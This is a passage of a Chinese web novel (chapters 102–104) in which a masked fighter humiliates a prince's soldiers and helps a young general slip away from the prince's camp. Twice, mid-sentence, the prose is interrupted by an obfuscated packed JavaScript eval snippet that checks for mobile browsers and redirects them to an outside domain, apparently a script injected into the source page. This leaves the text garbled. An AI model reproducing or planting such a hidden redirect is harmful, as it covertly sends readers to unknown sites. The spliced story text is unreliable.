“那就好那就好,”盛樗容刚松了一口气,忽然又想到了另外的问题,“可是她要是回了边地,只留下你……你身边的那些贴身侍卫身手怎么样?她伤了高将军手下那么多将士,她一走,九皇子定然会迁怒到你身上,完了完了,你还不快点叫她住手,别再激怒九皇子了!” “无妨,她有法子!”羿衍椋眼中有着温柔,“她为我想出了奇招。” “她有法子?!是什么法子?什么奇招啊?”盛樗容一愣,他今日又惊又怕,这时一松懈,整个人顿时瘫软下来,“哎哟我这心嘭嘭的都要吓坏了。” “你不必知道,”羿衍椋边说边站起来,走近帐帘前向外喊了声,“阿罗。” 话音刚落,垂着的营帐门帘轻轻晃动了一下,燕惜妤就站在了营帐中,瞬间把盛樗容吓得立马就挺直了腰板。 “……燕啊不是那个是……阿罗,”盛樗容慌乱的差点儿语无伦次,“阿罗。” 燕惜妤却不像往常那般待他温和,而是一声不吭地站在他面前。 她脸上戴着面具,盛樗容只觉得这个人不是燕惜妤,而是外面那些惨叫着的士兵口中的“煞神”“罗刹”! 102. 第102章 “呃,那我先走了,”盛樗容被看得头皮直发麻,说完这句话后就溜了。 燕惜妤转头看了眼他的背影:“阿盛为什么来这?” “九皇子让他来的,”羿衍椋看着她说,“你以前不是对他很温和,怎的方才还故意吓他?” “就是故意吓他,”燕惜妤说,“他知道我是谁,见了我之后,我要是给他好面色,万一他在那什么九皇子面前露馅会被怀疑,我得让他害怕我,这样九皇子就不会怀疑他。” 阿七既然相信阿盛,她就得把整件事情的方方面面都给处理好,不能出任何的纰漏。 羿衍椋听了,忽然沉默下来。 他不说话,营帐里一下就安静了下来。 燕惜妤有些奇怪地看看他:“阿七,你怎么……像是在生气?” 羿衍椋过了一会才说:“你对阿盛一直就比对我好。” “有吗?没有吧?”燕惜妤想了想,“他不是身体比你差嘛,肩不能扛手不能提的,我不得让着些他。” “……那你若是成亲,也会选像阿盛那样的男子吗?”羿衍椋忽然问了这么一个问题。 “我成亲?”燕惜妤愣了一下,然后摇头,“不会,他太弱了,我要是和像他那样的人成亲……他太弱了。” 羿衍椋听她连说了两次“他太弱了”,又看她脸上的表情很认真,忽然鬼使神差地说:“我虽然只是少将军,但在大承军中无人能敌。” “……是吗?”燕惜妤有些不明所以地看着他,“那你很厉害啊。” “那像我这样的,你愿意成亲吗?”羿衍椋注视着燕惜妤的眼睛,“我或许打不过你,但能打败除你之外的任何人。” 他这话中的含义太过于明显了,燕惜妤哪怕再迟钝,在这时也猜到了一点。 “……那人也长得有你这么好看吗?”燕惜妤不回避羿衍椋的视线,“若是能长得有你这么好看……” “你就愿意成亲?”羿衍椋追着问。 “我可以考虑一下,”燕惜妤忽然笑了笑,“又能打又好看,我还是挺喜欢的。” 羿衍椋立即说:“那我……” “嘘!”燕惜妤却忽然打断他,“在敌人营中说这些事也太不把他们放在眼里了,以后再说。” 羿衍椋犹豫了一下,才无奈地说:“好,以后再说。”刚才是他一时心急了,情感一事,只能徐徐图之方能水到渠成。 “那你歇着,我回马车陪我三姐,”燕惜妤转身走出营帐,在回到马车后就开始发呆。 “阿妹?”罗采春伸手帮她脱戴在脸上的面具,“你的脸怎么这么红?” “很红吗?”燕惜妤伸手摸了摸,摸到被铁面具压肿的鼻梁,“嘶”了一声,“马车里有点热。” “一直坐在马车里是有点闷,”罗采春点点头。为了不被外面的人发现她,她缩在马车的角落里坐着,不敢撩起帘子往外一眼,脸上的面纱也不直戴着。 “三姐,我带你去小树林里走走,”燕惜妤把一旁的夜行衣递给罗采春,“先把衣裳换了。” 罗采春把衣裳拿在手里,有些担心地问:“可以出去吗?会不会被人发现啊?” “不会,我带三姐出去,没人会发现,”燕惜妤这点自信还是有的,“三姐你快换衣裳。” 罗采春其实也想出去,她在这马车里坐了大半日,刚才吃饭时,连汤水都不敢喝一口,就是怕在马车里不方便。 等罗采春换好衣服,燕惜妤又给她裹上了带帽的披风,将人给包严实了,这才带着人出去。 就像她说的那样,她哪怕是带着人出去,也没人能发现她,她的行动快的就像一阵无影的风。 “咦?”羿家影卫有人发现马车的车帘动了一下,“是不是起风了?” “这荒郊野外的夜里,哪有不起风的,”另一个影卫左右歪了一下脖子,“杨昉和阿午还没回来?” “没有,”旁边有人应他,“叫他俩去打探消息,这一走就没影了。” “又在背地里讲我们的坏话,”旁边忽然响起了一个人的声音,“被我们逮到了吧?” “可算是回来了!”其他影卫纷纷围了上来,就连丁和也凑了过来,“快给我们说说,阿罗的武功出自哪门哪派!” 杨昉和阿午对视一眼,一起摇头,就听杨昉说:“看不出来。” “看不出来?!”一直在等他们回来的羿家影卫惊讶出声,“难道不是你杨家那分筋错骨的手法?” “不是,”杨昉摇头,“我帮着九皇子带来的郎中给那些受伤的将士疗治,不是我杨家分筋错骨的手法,虽然看着像,但阿罗的手法比我杨家高出一筹。” 有影卫急忙道:“怎么个高出一筹,你倒是说清楚啊!” “我杨家的分筋错骨大多是分人一只手,又或者一条脚,”杨昉的身手大家也都清楚,“我能同时将人一双手臂或者两条脚都给错骨,但阿罗能在一瞬间把人四肢所有的关节全都给错开。” “同时断人四肢?!”有影卫喃喃道,“怪不得那些被抛飞出去的士兵没有一个人能爬得起来,双手双腿都给错了骨,能爬起来才怪。” “嘶!阿罗这手法当真是能绝后患!”有影卫又敬又怕地说,“杨昉就算断人两条手臂,但人还有脚能跑,断人两条脚,还有一双手可以反抗,但手脚都被断了,也就只能任人宰割了。” 刚才还精神抖擞的羿家影卫一时都陷入了沉默之中。 有人忽然又问:“轻功呢?阿午,你看出什么没有?” 阿午是个比较瘦小的男子,只见他摇头道:“也不是,虽然我师门的轻功当世无双,但也做不到像阿罗那样来无影去无踪。” “都不是啊,那阿罗是哪里来的?” “丁和你说,阿罗是从哪里来的。”有人问丁和。 丁和刚才还听的津津有味,这会却板着脸说:“身为羿家影卫,不可过问彼此的身份来历,你们忘了?” 燕惜妤是他从边地带出来的,但在燕惜妤说要帮他救少将军的那一刻起,在他为燕惜妤备好羿家影卫装束的那一刻起,他口中就已经不会再说出关于燕惜妤的任何事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053882|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 丁和不说,羿家影卫也没办法撬开他的嘴,只能自己猜测。 “穿着影卫的衣裳,没办法从身形看出男女。” 羿家影卫的衣裳是统一的,外面都套有护体柔甲。柔甲虽然没有铠甲厚,但仍然可以掩盖影卫原有的身形,再加上只露出一双眼睛的面具,根本就无法只靠身形分出男女。 “身高虽然没我高,但也不算矮,最起码在咱兄弟十个人之中,阿罗不是最矮的。” “我是最矮的……”阿午忽然说。 但没人理会他,大家继续猜测。 “声音听着有点粗,像男又像女。” “没人能看清阿罗出手时的动作,所以也没法从动作分辨出男女。” “丁和不说,少将军不说,盛公子会说吗?” “没见刚才阿罗一进少将军的营帐中,盛公子就溜出来了,他都怕阿罗怕成那样了,更不可能说。” “……那我们问阿罗?” “问我什么?” 身后忽然响起的声音,把这群羿家影卫个个吓得全身寒毛直竖。 他们以前身为羿家影卫,现在是羿衍椋的贴身侍卫,个个身手了得,从未试过能被人站在他们身后而毫无察觉。 “……阿罗你!!” 大家一时心神不定,丁和却抢着说:“没事,阿罗你今日也累了,先去歇息。” “好,”燕惜妤粗着嗓子说,“辛苦你们守夜了。” “不辛苦!”羿家影卫很有默契地齐声道。 夜里太黑,他们的营帐和马车又故意离营火比较远,羿家影卫个个身穿黑衣,站在那里一时让人看不清有多少人。 燕惜妤多看了他们几眼,这才转身走向马车,进马车前,她看了一眼旁边羿衍椋住的营帐。 营帐里没有点灯,门帘垂着,羿衍椋今日被关在牢车里一整日,这时应该是已经睡了。 燕惜妤转身进了马车。 羿家影卫这时倒是没有再说话了,他们该守夜的守夜,该歇息的歇息,一时整个营地只剩下那些四肢关节错位,但郎中还没能为他们疗治的士兵们的呻吟声。 清晨的野外很凉爽,这让燕惜妤想到了她之前带着人赶路之边地的那些日子。 “阿罗,”丁和看她站在马车旁,连忙走过来低声说,“少将军有请。” 燕惜妤走进营帐,羿衍椋很端正地坐着等她:“阿罗。” “阿七早啊,”燕惜妤像是已经忘记了羿衍椋昨日夜里曾说过的话,“你跟我进马车,我们出去走走。” “好,”羿衍椋点头,也不问她今日有什么计划,乖乖听话地上了马车。 “丁和,我们走,”燕惜妤对丁和说,“把咱的人都带上。” “是,”丁和连忙去驾马车,他一手拉着缰绳,另一只手挥了一下,“众侍卫听令,我们走!” 其他羿家影卫纷纷翻身上马,跟在马车后跑出了九皇子临时驻扎的营地。 九皇子这边的人立即跑来禀报:“高将军!少将军他们跑了!” 103. 第103章 马车停在小溪边,旁边有小树林,丁和和羿家影卫都在小树林里歇息。 他们夜里虽然轮流值守,但没谁敢真的睡着。 少将军被九皇子抓走,别说他们,羿家军所有的将士都夜不能寐。 虽然现在少将军被救出来了,但九皇子没说放人,他们心里到底不踏实。 这会儿远离了九皇子的车马,他们总算是能睡会了。 燕惜妤带着罗采春在小溪边洗脸,羿衍椋背对着她们站在马车边。 “阿罗……燕姑娘,真的让我今日夜里离开?” “对,你越快离开越好,”燕惜妤脸上淌着水珠,边甩着手里的水边说,“我只给你十日时间,我们坐马车十日内应该会走出乌州的地界,一出乌州,我就带着三姐回边地,让丁和他们护送着空马车去皇都。 总之你无论如何要在九皇子的车马进皇都之前安排好一切,否则我们的计划就会露馅。” “燕姑娘放心,”羿衍椋看着她说,“我会按照燕姑娘说的去做,不会辜负燕姑娘此次为救我的一番心血。” “到时候九皇子的车马到了皇都,你若没在马车里,那遭殃的也只是丁和还有你们羿家的这些侍卫,”燕惜妤耸耸肩,“反正我已经做了我能做的了,剩下的你如果自己失败了,那我也问心无愧了。” 羿衍椋明白她话里的意思,她之所以会来救他,是因为九皇子利用她和她的姓氏来诬陷他,她心里觉得愧疚,才会选择来救他。 虽然这是事情,但羿衍椋却希望她不来救自己,这样她也就不会卷进九皇子布下的这场阴谋之中。 “哪怕你不来救我,你也该心安理得,”羿衍椋说,“此事是皇子之间的内争,本就与你无关。” “如果那什么九皇子也能这么想就好了,”燕惜妤伸了个懒腰,抬头的时候脸上的面具压着她的鼻梁,她用手抬了一下,“反正你按照我说的去做,其余你自己的事我就不管了。” 当然她也管不着,她都想不出阿七潜进皇都之后该如何洗清他被诬陷的冤屈。 “阿七,你去到皇都确定能解决这件事情吗?”燕惜妤忍不住问,“我帮你去皇都是自救,不是让你去自投罗网的。” 羿衍椋笑了笑:“燕姑娘且放心,我好歹也是羿家少将军,哪怕皇都那些世家不帮我羿家,他们也未必敢帮九皇子。 太子才是正统,若九皇子真能设计废了太子,其他几位皇子又岂会信服九皇子,他们只会觉得既然太子被废,那他们就可以光明正大地去争夺储君之位,到时朝廷必将大乱,朝廷内部若乱了,各州县的王侯也必会相机而动,世家大族能屹立至今,他们的当家人可都清醒着呢。” 他说得头头是道,燕惜妤只能信他,就算不信,她也帮不了他什么。 不过她还是有点担心:“那些世家要是保持中立,那你在皇都能斗得过九皇子吗?” “我不和他斗,”羿衍椋看向天边的云彩,“我羿家从来不会参与皇子之间的争衡。” 他这话里明显话中有话,但燕惜妤一时想不出其中的深意,反正她就算知道也做不了什么。 她姓燕,如果被别人知道姓燕的帮了羿家少将军,那阿七估计是跳进黄河也洗不清了。 不过,这时代黄河也是叫黄河吗? 燕惜妤分了分神,然后才说:“总之这事就这么说定了,我今晚悄悄带你离开九皇子的营地……不过,你怎么去皇都?” 羿衍椋说:“燕姑娘无需担心这些,我被九皇子抓走,羿家的人虽然不敢来劫牢车,但他们会一路暗中跟随,我自有办法去皇都。” “那我之前骑来的那匹马呢?”燕惜妤没在羿家侍卫之中有看见多余的马匹,“我到时要骑着它回边地的。” “丁和会处理好这些事,十日后你回边地,他会把马匹带来,”羿衍椋叮嘱道,“你一定不能去皇都。” “我记住了,”燕惜妤说,“我不会自投罗网的。” 她又不是大罗神仙,万一她真像那前朝皇族后裔被困在皇都,到时候也不知道能不能逃出来。 他们在这边说着事,九皇子在营地却是无一刻能静下心来。 “羿衍椋他们还没回来吗?”九皇子走出营帐大声喊,“来人。” “殿下,”守帐士兵躬身应道。 “少将军回来没有?”九皇子问他。 士兵说:“回殿下,没有人来报。” 没报就是还没回来,九皇子气得脸都黑了。 这时高将军走过来说:“殿下,我们该拔营起程了。” 他这一路负责九皇子的安危,扎营前要提早选好空旷且能攻能守的地方扎营。 天亮时就该立即拔营离开,因为一旦在同一地方待的太久,很容易会被逆贼围攻。 夜里扎营时虽然也有危险,但夜里不仅他们视线受阻,敌方也同样视线受阻,若在夜里被围攻,他们护卫的将士能带着九皇子逃出去。 而白日里,他们除了从皇都带过来的士兵,还有本地州县的守军,再者皇子出行各地州县都会保持着高度的警惕,并会留意那些突然聚集在一起的人群。 只要九皇子的车马在白日里不在同一处地方停留太久,基本不会有什么危险。 “羿衍椋还没回来!”九皇子愤怒地说,“再等等!” “不能再等了!”高将军坚持道,“这里还是乌州地界,若羿衍椋真逃了,那他羿家就叛变,若羿家真叛变,整个乌州的守军都有可能是叛军,殿下,我们不可不防!” “高将军,请吩咐下去拔营吧,”刚过来的车大人说,“殿下请信臣,少将军定会回来的。” 九皇子用手指了指眼前的高将军和车大人,最后一甩袍袖转身走回了营帐里。 高将军和车大人对视一眼,后者点了点头,高将军立即去让手下的士兵拔营。 九皇子的车马继续向皇都前进,他们这次过来,只为了抓羿衍椋,所以全部将士,包括服侍九皇子的内侍,和州县内的守军都是骑着马。 骑马赶路比只靠两条腿要快很多,日头正顶时,高将军吩咐就地歇息。 除了九皇子的营帐和厨帐之外,其他将士都是席地歇脚。 将士们在歇息时,个个都伸长着脖子往后看。 他们在看羿少将军和羿家那些影卫会不会回来,尤其是那阿罗,都不回来才好。 直到快日落时,高将军已经找好了夜里临时扎营的地方,羿衍椋和羿家那些影卫都还没有回来。 部分将士已经在想着羿少将军不会再回来了,就连九皇子都准备大骂车文成一顿时,远远的,吃见了阵阵马蹄声。 在附近巡逻的骑兵快马加鞭赶回来禀报:“九皇子殿下,少将军他们回来了!” 这一声喊,把营地的将士们给震的心中突突直跳。 罗刹回来了! 那煞神又回来了! 天大地广的,少将军为什么要回来?还把那煞神也带了回来!! 在这一刻,无数的将士只觉得自己身上刚被复位的关节,传来一阵又一阵钻心的疼痛! “羿衍椋真回来了?”九皇子有些吃惊,心中却又狂喜,导致他脸上一阵扭曲,“他羿家少将军,还不是得乖乖听命于我!” 过了一会,羿家影卫前后护着一架马车慢悠悠地过来,在他们身后,是那些一早就追出去,却直到现在才回来的将士。 高将军仔细看过,羿家一人不少,他派出去的人也全部回来。 他进皇子帐中禀报:“殿下,全都回来了。” “好!”九皇子兴奋地看着车大人说,“还是车大人有远见,知道羿衍椋定会回来。” “殿下谬奖,”车大人躬身道,“是他羿衍椋不敢违抗殿下的旨意,所以才回来的。” 九皇子冷哼了一声:“想他羿衍椋也不敢真的抗旨。” 就在这时,营帐外忽然传来那尊煞神阿罗的声音:“我饿了,吃的呢?” “……”刚才还气焰嚣张的九皇子瞬间就敛住了呼吸,这煞神为什么也回来!!羿衍椋就不能把这人遣走吗?! “阿罗大人,饭食还没……”营帐外的士兵话还没说完,人就已经飞了出去,然后“嘭”的一声重重地砸在地上。 不过这士兵的四肢倒是还能动,关节并没有被掰错位,但被砸这么一下也差点儿爬不起来。 “没吃的你们为什么喊我回来?”燕惜妤粗着嗓子说,“记住了,下次我要不叫你们,你们谁也别来烦我和我家少将军。” “是是!小的都听阿罗大人的!”营帐外的士兵有一个算一个,全都非常听话地齐声回答。 仿佛这些士兵都是他羿家的,所以才会听区区一个羿家影卫说的话。 九皇子忍了又忍,最终忍无可忍地走出营帐:“羿衍椋,管好你的人!” 羿衍椋没说话,倒是燕惜妤先笑了:“我最讨厌的就是听见有人说要管我。” 九皇子瞪着眼前戴着面具的阿罗。 “本来我今天不想动手,但你的话让我生气了!”阿罗一句话没说完,人就已经消失在原地,紧接着四周接二连三地响起了一声又一声的惨叫声! “啊!” “啊!” “阿罗大人我们都听您的!” 阵阵惨叫声钻入九皇子耳中,令又怕又怒的九皇子差点儿昏厥过去。 “殿下!”高将军眼明手快地冲过来扶住摇摇欲坠的九皇子,“殿下您怎么了?!” 车大人大声道:“快把郎中都喊来!” 三位郎中过来后,车大人发现他们也脚步不稳,面容憔悴,每人的双手还都贴着药膏。 “几位郎中这是……”车大人只有一时的诡异,但很快就想到了其中的关键。 昨日夜里那些将士四肢错位,都是几位郎中一个个给重新接复位的。 老郎中叹气道:“唉,让我先为殿下诊脉。” 九皇子没什么大事,只是一时怒火攻心引起的,郎中让人去煎煮了静心茶,然后偻着腰往外走,边走边低声悲叹:“唉,营中将士双脚的关节若多次被重复掰断,怕是无法再骑马回皇都了。” 关节错位一次就会肿胀起来,多次错位会导致四肢肿痛的无法动作,别说骑马,想动一下都难。 另外两位郎中也面露难色地边摇着头边走出了营帐。 高将军守在九皇子身边,脸色更加难看:“那阿罗只伤殿下从皇都带来的士兵,乌州守军是一个也没动。” “什么?!”刚才还快要厥过去的九皇子一下子就又气醒了,“那阿罗没伤一个乌州守军?伤的全是本王子的人?” “是,只伤从皇都过来的将士,”高将军握着拳头说,“我只听羿家护短,没想到连乌州守军也一起给护着。” 车大人立即皱眉:“羿衍椋这一手实在是太会收买人心了,殿下,不能让他再伤我们的人,否则于我们大大不利!” 若继续这样下去,九皇子带来的人极有可能会反戈投向羿衍椋,转而改投于太子门下! 因为羿家足够强大,不仅能令九皇子拿羿家无可奈何,羿家还能在九皇子面前护住羿家自己的人,而又只揍九皇子的人。 再者,太子是储君,羿家嫡女是太子妃,羿家打九皇子的人,可以说是以下犯上打皇家的脸,但也可以说是为太子护住这守护乌州的守军。 更重要的是,九皇子用来抓羿衍椋的证据是假的。 想到这,车大人的眉头越皱越紧。 “盛樗容呢?”听了他的话,九皇子气愤难忍,连呼吸都急促起来。 “回殿下,盛公子一早已经骑马回泰县了,”高将军说,“末将派人送他回去的。” 九皇子忍了又忍,一把将矮案上的茶具都给扫落到地上,然后大步走出营帐。 高将军连忙跟了过来。 他一出营帐,正巧有个人被抛到了他脚步。他低头一看,是他身边的一个内侍。 那内侍倒在地上,呻吟着手脚并用地挣扎着爬起来,一抬头看见九皇子的靴子,顿时缩在他脚下嚎啕着:“殿下救救奴吧!” 九皇子铁青着脸大步走到羿家那架马车旁边,咬着牙说:“少将军,不觉得你的人太放肆了吗?” 马车里没人应声,而守在马车外的羿家影卫还手持兵器对着他。 跟在九皇子身后的高将军“铮”地一下拔出了腰间长剑。 “羿衍椋!”九皇子气急败坏地指着马车喊,“快把你的人叫回来!” 马车里还是没有任何声音,九皇子也不知道想到了什么,指着马车的手忽然指向丁和他们,冷笑了起来:“好啊!原来是金蝉脱壳啊!羿家真是好大的胆子!” “高旗!备战弩!”九皇子显然已经被气昏了头了,“我要射死……” “九皇子殿下,”马车里忽然传出了羿衍椋的声音,“战弩乃是我羿家制造并献给朝廷的,殿下现在难道是要用战弩来射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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羿衍椋瞥了九皇子一眼,转身回马车:“殿下,请保重。” 燕惜妤跟着他上了马车,对马车外面的声音充耳不闻,听摘了面具笑着说:“阿七,我这办法不错吧,那什么九皇子这下可不敢再来找你了。” 羿衍椋却皱眉看着她的脸:“你的脸……难不成是那面具?” “面具又大又重,把我的脸压肿了,”燕惜妤瘪了瘪嘴,“铁打的面具真的好硬。” “伤成这样,我问丁和要伤药,”羿衍椋想喊丁和。 “不行,”燕惜妤连忙拦住他,“伤药有味道会被别人闻见。” “那你今夜离开,”羿衍椋皱着眉,“九皇子不敢再为难我,你先回边地,我……” “不行,”燕惜妤又摇头,“你今夜去皇都,我再留十日,我这十日尽量待在马车里,不戴面具脸很快就会好。” 羿衍椋显然不同意,他皱着眉沉默。 “好了,别生闷气了,”燕惜妤逗他,“我的脸伤了是不是就不好看,也没人喜欢了?” 羿衍椋立即说:“胡说,我……” “你看,我还是有人喜欢的,”燕惜妤笑的眉眼弯弯,但额头鼻梁却肿的红紫,“别生闷气了,待会你吃了饭就走,我向你保证过后几日我尽量不出马车。” 羿衍椋拿她毫无办法,燕惜妤一旦想坚持某件事情,没人能劝得了她。 “你自己的脸,你不疼啊,”羿衍椋忍着心中酸涩,“这几日在马车里,不要戴面具出去,九皇子不敢再来了,高将军是他这一路上的依仗,高将军伤了,他就怕了。” “怕了好,免得我连他也揍,”燕惜妤挥了挥拳头。 这时,丁和在外面提醒厨帐送来了饭菜。 三人在马车里吃完饭,外面已月悬中天。 燕惜妤听了听马车外面的动静,对羿衍椋说:“阿七,我带你离开。” 羿衍椋点点头,却又看向罗采春:“罗姑娘,这几日得劳烦罗姑娘假扮是我稳住外面的人,实在是为难罗姑娘了。” “不为难,”罗采春摇摇头,“少将军无需如此,我帮的是羿家军。” 燕惜妤和她说过,在边地的羿家军不能乱,只要羿家军不乱,住在边地的她们也就能安宁。 羿衍椋笑笑,看了燕惜妤一眼,又说:“那有劳罗姑娘帮我看着些燕姑娘,我……” “走了,”燕惜妤怕他在罗采春面前说出些喜欢她之类的话,双手一捉他的手臂,俩人瞬间就消失在马车里,只留下罗采春和那微微晃动的车帘。 羿衍椋被燕惜妤带着停下来时,脸上还有着很明显的疾风刮脸的麻木感。 “这感觉如何?”燕惜妤似笑非笑地看着他,“你是不是猜过我的武功来历,猜出什么没有?” “猜不出,”羿衍椋苦笑一下,老实地说,“没人能有你这样的身手。” “当然没有,这世间就我一个,”燕惜妤笑眯眯地说,“独一无二的燕惜妤。” “我羿衍椋何其有幸能遇见燕姑娘,”羿衍椋看着站在月光下的燕惜妤,温声呢喃道,“若燕姑娘也如我心……” “得了,你这几日是逮到机会就趁机说这些话,”燕惜妤故意白了羿衍椋一眼,“快走吧,我要回去了,三姐独自在马车会害怕。” 羿衍椋站着没动,明明是羿家少将军,此时却可怜兮兮又眼巴巴地看着燕惜妤。 都说灯下看美人,其实月下看美人也很美。 男人也可以很赏心悦目。 这么好看的男人,最起码养眼。 燕惜妤忽然笑着说:“阿七,等你回来再说。” “真的?!”羿衍椋眼中瞬间迸出耀眼的光芒,“那我速去速回!” “走吧,”燕惜妤抬眼看了看羿衍椋的身后,“羿家的人已经来了。” 身后的树下无声无息地出现了几个脸戴面具的黑衣人。 羿衍椋侧身看了看,然后又看向燕惜妤:“惜妤,我去去就回,你在边地等我。” 燕惜妤点点头:“好。” 羿衍椋深深地看了燕惜妤一眼,这才转身走向那几个戴向面具的人。 燕惜妤远远地看着那几个人摘下面具后单膝跪在羿衍椋面前,羿衍椋和他们说了两句话,然后消失在夜色下。 燕惜妤看着已经空无一人的树下,喃喃道:“阿七,一路平安。” 104. 第104章 营火燃烧着,值守的士兵离羿家那架马车远远的,根本就不敢靠近。 昨夜被那煞神伤了大半的将士,今夜竟连高将军也伤了,就连九皇子一时被气的也差点吐血。 不愧是煞神,都敢当着九皇子的面伤九皇子的人,也不知九皇子会不会咽得下这口恶气。 老郎中为九皇子起了胸前的银针,然后问:“殿下感觉如何?胸口可好些了?” 九皇子有气无力地挥挥手:“你且去看看高将军的伤势,本皇子已无大碍。” 老郎中这才拿着药匣离开。 九皇子躺在矮榻上,眼中戾气翻滚着,但他却又没有任何的动作。 “殿下,”林内侍在营帐前说,“车大人求见。” 九皇子这才坐了起来:“让他进来。” “殿下,”车大人走进营帐后躬身道,“高将军……” 他话还没说完,九皇子唰一下就站了起来,“他没事吧?” “郎中说近几日不便骑马,若要赶路,只能躺于马车上,”车大人说,“我已让人给高将军准备了马车,明日就把他抬上马车。” “抬……他怎么伤的如此之重?在他之前的那些将士手脚复位之后照样能骑马,”九皇子也不知道想到了什么,一拂袍袖就向营帐外走去,“车大人,随本皇子去去看看他。” 车大人和林内侍连忙跟上。 高将军和车大人都有各自的营帐,九皇子带着人过来时,刚好看见郎中离开,然后守在营帐外的将士立即就进了营帐。 九皇子他们到的时候,因为营帐外没有人守着,营帐里的人也就不知道外面有人站着听他们说话。 “将军,您这伤受的也太冤了!”有士兵愤愤不平道,“若将军当时不是为了护着殿下,又怎会被那煞神伤得如此之重!” “慎言!”高将士虽然躺在矮榻上无法动弹,不过他被卸掉的下巴已经被郎中复位了,所以能正常说话,“我等是为了保护殿下的才一路来到乌州的,为了殿下的安危,自当肝脑涂地护好殿下。” “我们知道啊,我们为了护着殿下,被那煞神掰断几次手脚也都绝不退缩,可将军您明明可以和那煞神动手的,但您当时却挡在殿下身后不挪一步,要不是您不躲,那煞神绝不可能如此轻易就伤到将军您!” 随着营帐里面的说话声,站在营帐外的九皇子直到此时,才知道高将军为何会伤的比别的将士更重。 因为当时那煞神原本想伤的是他,但高将军护在他身后,所以那煞神迁怒于高将军,才出手置高将军重伤。 这时,营帐里传来高将军责备的声音:“休得再说这事,且那羿家影卫身手了得,我也未必能在阿罗手下躲开。” “将军总是这么自谦,将军可是皇都四守将之一,当初可是考取了武状元的,您之前还是殿前带刀侍卫,您和其他三位守护皇都的将军,又怎会输他羿家区区一个影卫!” 这话说的连在外面站着光明正大偷听的九皇子也暗暗点头。 高旗确实是武状元,然后一步步做到了殿前带刀侍卫,他和其他三位守护皇都的将军都曾上过战场,全都是身经百战的将军,他们的武功确实未必会输给那羿家影卫。 听着营帐里面那些士兵说的话,九皇子也明白了他们为何会如此愤愤不平。 高将军身为皇都四守将之一,代表着朝廷的脸面,也代表着这些被他带出来的将士们,明明高将军也很能打,但因为高将军为了保护他而选择了束手被擒,这确实是有损朝廷脸面,也丢了他九皇子的脸。 怪不得之前车文大人说不能再让羿家影卫伤他们从皇都带出来的人,再这么下去,确实是颜面尽失。 九皇子越想越气,差得站不稳。 林内侍眼急手快地一把扶住他:“殿下?” 他这么一喊,立即惊动了营帐里面的将士,那几个将士唰地一下全都跪倒在地:“殿下!” 高将军躺在矮榻上,想挣扎着爬起来,九皇子连忙过去按着他:“将军且躺着,郎中说你要休养几日才可下地走动。” “殿下,望殿下饶恕他们,”高将军连嘴唇都白了,额上全是冷汗,也不知是痛的还是吓的,“是末将之错,末将……” “行了,你们都下去吧,”九皇子没看那几个跪在地上的将士,只护了挥手,“再有下次,定会重罚。” “谢殿下开恩,”那几个将士磕了几个头后才敢离开营帐。 “本皇子知道他们说得都对,”九皇子表情阴森,“所以本皇子要杀了那阿罗!” 高将军和车大人都是一怔,就连林内侍也被吓的大气不敢出。 “高将军,车大人,”九皇子看了他们一眼,“本皇子有信心,若杀了阿罗,羿家也不敢拿本皇子如何。” 高将军一时没有说话,车大人点点头:“那阿罗伤了高将军,可杀。” 九皇子听了,嘴角勾起冷笑:“他羿家影卫伤我大承皇都守将,该杀!” 高将军却抿着嘴唇说:“殿下莫不是想用战弩射杀那阿罗?” “是,只有战弩能杀死羿家影卫,”九皇子眼中露出残忍之色,“本皇子偏就要用他羿家献上来的战弩射杀他羿家的影卫!” “殿下,不可,”躺着的高将军却摇头,“羿家影卫杀不得。” 车大人看向他,九皇子满是阴森的眼睛也扫向他:“高将军,为何羿家影卫杀不得。” “殿下,不是末将不想杀阿罗,”高将军虽然能正常说话,但他被卸掉的下巴才刚复位,脸上还显得有些肿,“若用战弩射杀阿罗,末将怕这是羿家的诡计。” 九皇子皱眉,车大人看着高将军问:“将军为何会觉得用战弩射杀阿罗会是羿家的诡计,他羿家若不是纵容着阿罗……” 忽然他像是想到了什么似的顿了一下,然后若有所思地说:“将军想说羿家是故意纵容着那阿罗伤九皇子的人?” “对,”高将军点点头,“想必殿下和车大人也知道,那要用到战弩,需得懂战弩的那几位将士才行,他们的身份只有末将和两位心腹才知晓,末将护着殿下从皇都来乌州,那战弩是我们的杀手锏,除非到了生死关头,否则绝不动用,若是用了战弩,那几位操控战弩士兵的身份也会暴露。” “他们的身份一旦暴露,就会被羿家影卫盯上,他们若死了,懂得操控战弩的也就只剩下羿衍椋了,”车大人也猜到了高将军的担忧,“那我们这边的杀手锏也就失去了用处。” “……他羿家难不成还真想造反?”九皇子心头怒火又起,“只要能杀了阿罗,那杀手锏不要也罢!” “若是羿家这次来的影卫里不只一个阿罗呢?”车大人的一句话,让九皇子瞬间身体就是一震。 “……不只一个阿罗?”九皇子瞪大眼睛,“他羿家……他羿家……” 他想说羿家能有如此多的能人异士,但他想到了那戴着面具的阿罗,再想到一直守着羿家那马车,从没出过手的那些同样戴着面具的影卫。 “殿下,末将是从战场上杀出一条活路的人,”高将军忽然说,“羿家影卫能以一敌百,这事不只大承将士在传,就连夷狄蛮族那边也在说,曾经羿家影卫只用三几人,就歼灭了夷狄数百人,这事绝不是传说,陛下身边的殿前护卫也曾说过这事。” 九皇子顿时就不再说话了。 营帐之中一时陷入了沉默。 车大人这时忽然说:“殿下,臣觉得高将军说得有道理,若我们用战弩射杀阿罗,那羿家其他影卫极有可能会杀了那几个能操控战弩的士兵,臣之前一直想不明白羿衍椋当时为何会连反驳都没有就跟我们走,现在想想,他意在战弩。” 